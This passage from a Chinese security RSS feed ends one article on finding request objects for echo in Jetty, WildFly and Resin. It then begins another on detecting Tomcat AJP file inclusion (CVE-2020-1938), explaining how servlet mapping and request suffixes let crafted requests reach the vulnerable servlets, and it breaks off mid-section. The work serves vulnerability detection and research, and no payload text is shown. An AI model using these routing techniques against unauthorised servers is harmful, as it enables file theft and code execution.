1px;">通过</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">java-object-searcher</span><span style="font-size: 14px;letter-spacing: 1px;">，我不仅挖掘到了之前师傅们公开的链，还挖掘到了其他未公开的。同时在其他中间件下也实现了回显，下面列举几个比较冷门的中间件。</span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><strong><span style="font-size: 14px;letter-spacing: 1px;">1. Jetty</span></strong></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5203125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=2b423c69&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPeFkQJziccCbmicxW7uTdf8YtiaagCjFIGK31yDnLoYbB6l1BKSOqcLjNTacU4AGnCian9aFyCuSzAJOQ%2F640%3Fwx_fmt%3Dpng"/></p><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;"></span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.4953125" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=059e6d24&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F075AT6bRmPeFkQJziccCbmicxW7uTdf8YtQeQUcdKZxd5WqwcaM201o0sx8fZU8Wa9RH2V1sPkA7uRiaeQsXuQp5w%2F640%3Fwx_fmt%3Djpeg"/></p><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/><span style="font-size: 14px;letter-spacing: 1px;"></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><strong><span style="font-size: 14px;letter-spacing: 1px;">2. WildFly</span></strong></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.46640625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=86153347&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPeFkQJziccCbmicxW7uTdf8Ytibr2dpAsCQfCKlTYeNBp7Ra8vopRibmruTdug6JicjsTFsXqp2VadeAng%2F640%3Fwx_fmt%3Dpng"/></p><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;"></span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.4734375" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=2032d873&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F075AT6bRmPeFkQJziccCbmicxW7uTdf8Yt95elUK2RuUmiak0Svcs8V8xacZdxy5tzGia2C6rVETgeYCjrckTZpCFA%2F640%3Fwx_fmt%3Djpeg"/></p><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/><span style="font-size: 14px;letter-spacing: 1px;"></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><strong><span style="font-size: 14px;letter-spacing: 1px;">3. Resin</span></strong></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.63203125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=5c5c4af5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPeFkQJziccCbmicxW7uTdf8Ytc3B9YPE3DrRlTwGpAv3DF5LKy8AcSqs1e5G76Tt1YJCxWnBSWQXoeQ%2F640%3Fwx_fmt%3Dpng"/></p><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;"></span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;"></span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.509375" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=07b797a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F075AT6bRmPeFkQJziccCbmicxW7uTdf8Yt8ociaP3bSricbquBJxa7cdhyzxOl8jvFiaggPrPv7iaSnGhaItfgZJ4ffw%2F640%3Fwx_fmt%3Djpeg"/></p><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;"></span><br/></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;text-align: center;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(171, 25, 66);letter-spacing: 1px;font-size: 18px;"> 0x06 </span></strong></span><strong><span style="letter-spacing: 1px;font-size: 18px;"> </span></strong></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;text-align: center;"><strong><span style="letter-spacing: 1px;font-size: 18px;">最后的思考</span></strong></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;text-align: center;"><strong><span style="letter-spacing: 1px;font-size: 18px;"><br/></span></strong></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">有了半自动化，就想着全自动。这种运行时动态挖掘的局限性是需要人工确定那些全局变量存有request，这是只能半自动的原因。那么是否可以通过静态分析源码的方式来解决呢？比如</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">gadgetinspector</span><span style="font-size: 14px;letter-spacing: 1px;">原来是挖掘gadget的，能否更换它的</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">source</span><span style="font-size: 14px;letter-spacing: 1px;">和</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">slink</span><span style="font-size: 14px;letter-spacing: 1px;">定义</span><span style="font-size: 14px;letter-spacing: 1px;">，将其改造为全自动化挖掘request呢？有兴趣的朋友可以去试试。</span></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></section><section style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">PS:写到这里我在想Avicii在写完《The Nights》时是怎样的心情，或许和我此时的心情一样，无以言表。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></section>



<p><a href="http://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=077059d1&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjA4MTQ1NQ%3D%3D%26mid%3D2247484034%26idx%3D1%26sn%3D59ffda501aaa35bef7359006f64cb628%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 20 Apr 2020 09:00:00 +0800</pubDate>
    </item>
    <item>
      <title>如何更加精确的检测Tomcat AJP文件包含漏洞(CVE-2020-1938)</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjA4MTQ1NQ==&amp;mid=2247484009&amp;idx=1&amp;sn=529c02d43f1d12d680bf077347df41be</link>
      <description>研究在Spring MVC/Boot,Shiro,Struts下如何检测该漏洞</description>
      <content:encoded><![CDATA[<p>
原创 <span>c0ny1</span> <span>2020-03-27 19:00</span> <span style="display: inline-block;"></span>
</p>

<p>研究在Spring MVC/Boot,Shiro,Struts下如何检测该漏洞</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=b9e662c1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F075AT6bRmPceVTvLFtRy5Ria5icGJXkLex2KibhR5kUSibtS6Gj8Ccy1qdBWRxQpplG8es16bwR8bo6BYX3UVkBiaeA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;letter-spacing: 1px;font-size: 14px;">通过上篇文章<a target="_blank" href="http://mp.weixin.qq.com/s?__biz=Mzg3NjA4MTQ1NQ==&amp;mid=2247483965&amp;idx=1&amp;sn=792c93dda53c51a9d1d5e59a553d1a9d&amp;chksm=cf36fa7df841736b9f41f197d3896815652fa7fff14b2d14ad4532cfdf257c26f2bf2be1a121&amp;scene=21#wechat_redirect" textvalue="《CVE-2020-1938:Tomcat AJP协议文件包含漏洞分析》" data-itemshowtype="11" tab="innerlink" data-linktype="2">《CVE-2020-1938:Tomcat AJP协议文件包含漏洞分析》</a>，我们知道这个漏洞出现在Tomcat默认的两个</span><span style="font-size: 14px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;letter-spacing: 1px;color: rgb(217, 33, 66);">Servlet</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;letter-spacing: 1px;">，一个是</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;letter-spacing: 1px;color: rgb(217, 33, 66);">DefaultServelt</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;letter-spacing: 1px;">，可以任意文件读取。第二个是</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;letter-spacing: 1px;color: rgb(217, 33, 66);">JspServlet</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;letter-spacing: 1px;">，可以用于文件读取和代码执行。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><br/></p><p style="text-align: justify;margin-bottom: 5px;text-indent: 0em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;letter-spacing: 1px;">所以我们漏洞利用的关键是让精心构造的数据包最终让这两个</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;letter-spacing: 1px;color: rgb(217, 33, 66);">Servlet</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;letter-spacing: 1px;">处理。但是在真实环境下的Web项目情况很复杂，会添加自定义的</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;letter-spacing: 1px;color: rgb(217, 33, 66);">Servlet</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;letter-spacing: 1px;">和</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;letter-spacing: 1px;color: rgb(217, 33, 66);">Filter</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;letter-spacing: 1px;">，使用各种框架和组件。它们的</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;letter-spacing: 1px;color: rgb(217, 33, 66);">Servlet</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;letter-spacing: 1px;">和</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;letter-spacing: 1px;color: rgb(217, 33, 66);">Filter</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;letter-spacing: 1px;">匹配规则会影响我们构造的数据包处理流向，导致我们无法检查成功。</span></span><strong><span style="color: rgb(171, 25, 66);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: justify;letter-spacing: 1px;font-size: 14px;">本文我们会针对常见的5种情况并一一解决！<br/></span></strong></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;"><br/></span></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 2em;text-align: center;margin-left: 8px;margin-right: 8px;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);font-size: 18px;"><strong><span style="background-color: rgb(171, 25, 66);letter-spacing: 1px;"> 0x01 </span></strong></span></p><p style="line-height: 2em;text-align: center;margin-left: 8px;margin-right: 8px;"><span style="color: rgb(0, 0, 0);font-size: 18px;"><strong><span style="letter-spacing: 1px;">知识储备 </span></strong></span></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="letter-spacing: 1px;font-size: 14px;">在分析前我们需要对Tomcat匹配规则优先级有一个了解，匹配的优先级如下，优先级从上到下：</span></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="letter-spacing: 1px;font-size: 14px;"><br/></span></p><ol class="list-paddingleft-2" style="list-style-type: decimal;margin-left: 8px;margin-right: 8px;"><li style="font-size: 14px;"><p><span style="font-size: 14px;"><strong><span style="letter-spacing: 1px;">精确匹配</span></strong><span style="letter-spacing: 1px;">（例如：</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">/admin/index.html</span><span style="letter-spacing: 1px;">）</span></span></p></li><li style="font-size: 14px;"><p><span style="font-size: 14px;"><strong><span style="letter-spacing: 1px;">路径匹配</span></strong><span style="letter-spacing: 1px;"> (例如：</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">/*</span><span style="letter-spacing: 1px;">)</span></span></p></li><li style="font-size: 14px;"><p><span style="font-size: 14px;"><strong><span style="letter-spacing: 1px;">拓展名匹配</span></strong><span style="letter-spacing: 1px;"> (例如：</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">*.jsp</span><span style="letter-spacing: 1px;">,</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">*.jspx</span><span style="letter-spacing: 1px;">)</span></span></p></li><li style="font-size: 14px;"><p><span style="font-size: 14px;"><span style="letter-spacing: 1px;"><strong>缺省匹配</strong> （比如:</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">/</span><span style="letter-spacing: 1px;">）</span></span></p><p><br/></p></li></ol><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;">具体的匹配细节可以查看Tomcat源码</span><span style="color: rgb(217, 33, 66);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;font-size: 14px;">org.apache.catalina.mapper.Mapper#internalMapWrapper()</span></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(217, 33, 66);"><br/></span></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(217, 33, 66);"><br/></span></p><p style="line-height: 2em;text-align: center;margin-left: 8px;margin-right: 8px;"><span style="font-size: 20px;background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(171, 25, 66);letter-spacing: 1px;"> 0x02 </span></strong></span></p><p style="line-height: 2em;text-align: center;margin-left: 8px;margin-right: 8px;"><span style="font-size: 20px;color: rgb(0, 0, 0);"><strong><span style="letter-spacing: 1px;">情况一：原生Servlet环境下 </span></strong></span></p><p style="line-height: 2em;text-align: center;margin-left: 8px;margin-right: 8px;"><span style="font-size: 20px;background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(171, 25, 66);letter-spacing: 1px;"><br/></span></strong></span></p><p style="line-height: 2em;text-align: center;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="letter-spacing: 1px;font-size: 14px;">Tomcat下存在多个默认的web项目，由于它们没有使用任何框架，所以借助它们来检查再好不过了。</span></p><p style="text-align: center;margin-left: 8px;margin-right: 8px;"><br/></p><ol class="list-paddingleft-2" style="list-style-type: decimal;margin-left: 8px;margin-right: 8px;"><li style="font-size: 14px;font-weight: bold;"><p><strong><span style="letter-spacing: 1px;font-size: 14px;">docs</span></strong></p></li><li style="font-size: 14px;font-weight: bold;"><p><strong><span style="letter-spacing: 1px;font-size: 14px;">examples</span></strong></p></li><li style="font-size: 14px;font-weight: bold;"><p><strong><span style="letter-spacing: 1px;font-size: 14px;">host-manager</span></strong></p></li><li style="font-size: 14px;font-weight: bold;"><p><strong><span style="letter-spacing: 1px;font-size: 14px;">manager</span></strong></p></li></ol><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;"><span style="letter-spacing: 1px;">当没有默认的web项目，我们只能检查</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">ROOT</span><span style="letter-spacing: 1px;">下的项目了。在使用原生Servlet开发的web应用中，我们要考虑的是开发人员自定义</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">filter</span><span style="letter-spacing: 1px;">和自定义</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">servlet</span><span style="letter-spacing: 1px;">对漏洞影响。</span></span></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;"><span style="letter-spacing: 1px;">按照开发经验，一般过滤器是不会过滤</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">.js</span><span style="letter-spacing: 1px;">,</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">.css</span><span style="letter-spacing: 1px;">,</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">.ico</span><span style="letter-spacing: 1px;">等静态文件后缀的url，同时自定义的Servlet也不会去处理这些url。所以我们可以构造类似如下请求来绕过它们带来的影响。</span></span></p><p><span style="display: none;line-height: 0px;">‍</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.38817480719794345" data-s="300,640" style="" data-type="png" data-w="778" src="https://wechat2rss.xlab.app/img-proxy/?k=add7b2a6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPfYladgFmJ9s1WQ82jTy4Yx3yWIGmpa02fj3TPuKCdXLx1neN8libbCfiadUlmsg6uaLKSuldbRuGeg%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 2em;text-align: center;margin-left: 8px;margin-right: 8px;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);font-size: 18px;"><strong><span style="background-color: rgb(171, 25, 66);letter-spacing: 1px;"> 0x03 </span></strong></span></p><p style="line-height: 2em;text-align: center;margin-left: 8px;margin-right: 8px;"><span style="color: rgb(0, 0, 0);font-size: 18px;"><strong><span style="letter-spacing: 1px;">情况二：Sping mvc环境下 </span></strong></span></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="letter-spacing: 1px;font-size: 14px;">Spring MVC的经典配置如下(图搞错了改不了，看博客原文吧)</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.49369085173501576" data-s="300,640" style="" data-type="png" data-w="1268" src="https://wechat2rss.xlab.app/img-proxy/?k=fa68ba6f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPfYladgFmJ9s1WQ82jTy4YxiaKjPp7VomSx30gibwm8fBeXZicvKPlxtaFHyicRq2HApFzc65BwfVdtOQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;"><span style="letter-spacing: 1px;">虽然覆盖掉了</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">DefaultServlet</span><span style="letter-spacing: 1px;">的匹配路径，但是</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">*.jsp</span><span style="letter-spacing: 1px;">,</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">*.jspx</span><span style="letter-spacing: 1px;">依然会交给</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">JspServlet</span><span style="letter-spacing: 1px;">处理，所以我们可以构造如下请求让JspServlet来触发漏洞。</span></span><br/></p><p><span style="display: none;line-height: 0px;">‍</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.38817480719794345" data-s="300,640" style="" data-type="png" data-w="778" src="https://wechat2rss.xlab.app/img-proxy/?k=931b5e73&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPfYladgFmJ9s1WQ82jTy4YxAXLovRcoUVlibrkatX2chIRSiaiakRvSffvySWgulS9p2uv7RVAk7Iykg%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;font-size: 14px;">这里顺便回答下上一篇文章提的问题</span></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="text-decoration: none;font-size: 14px;color: rgb(171, 25, 66);"><strong><span style="font-size: 14px;text-decoration: none;letter-spacing: 1px;">问题：如果已经知道某个contoller使用的是jsp为视图模版来渲染数据，我们能否通过它来触发漏洞？</span></strong></span></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="text-decoration: none;font-size: 14px;"><span style="text-decoration: none;letter-spacing: 1px;">答：其实是不可以的。因为spring mvc会将模版渲染后，交给JspServlet去处理之前，会调用</span><span style="text-decoration: none;letter-spacing: 1px;color: rgb(217, 33, 66);">org.apache.catalina.core.ApplicationDispatcher#doInclude</span></span><span style="font-size: 14px;text-decoration: none;letter-spacing: 1px;">方法对3个include属性进行重新赋值，也就是把我们之前设置的值覆盖掉了不再可控！</span></p><p style="line-height: 2em;text-align: center;margin-left: 8px;margin-right: 8px;"><span style="font-size: 16px;letter-spacing: 1px;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5" data-s="300,640" style="text-align: center;white-space: normal;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=c865a584&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPceVTvLFtRy5Ria5icGJXkLexmG2sKjMPBStnJYicJV4ibsUeZQ5orOwmYfRVB1OFBZictR6bQmjkgmTyA%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 16px;letter-spacing: 1px;"><br/></span></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 2em;text-align: center;margin-left: 8px;margin-right: 8px;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);font-size: 18px;"><strong><span style="background-color: rgb(171, 25, 66);letter-spacing: 1px;"> 0x04 </span></strong></span></p><p style="line-height: 2em;text-align: center;margin-left: 8px;margin-right: 8px;"><span style="color: rgb(0, 0, 0);font-size: 18px;"><strong><span style="letter-spacing: 1px;">情况三：Spring boot环境下 </span></strong></span></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;"><span style="letter-spacing: 1px;">Srping boot结合Tomcat来部署有两种方式，分别是</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">外置</span><span style="letter-spacing: 1px;">和</span><span style="letter-spacing: 1px;color: rgb(217, 33, 66);">内嵌</span><span style="letter-spacing: 1px;">。</span></span></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 16px;"><strong><span style="letter-spacing: 1px;">5.1 内嵌Tomcat</span></strong></span></p><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><span style="letter-spacing: 1px;font-size: 14px;">我们先来说内嵌，它是默认的部署方式。顾名思义就是spring 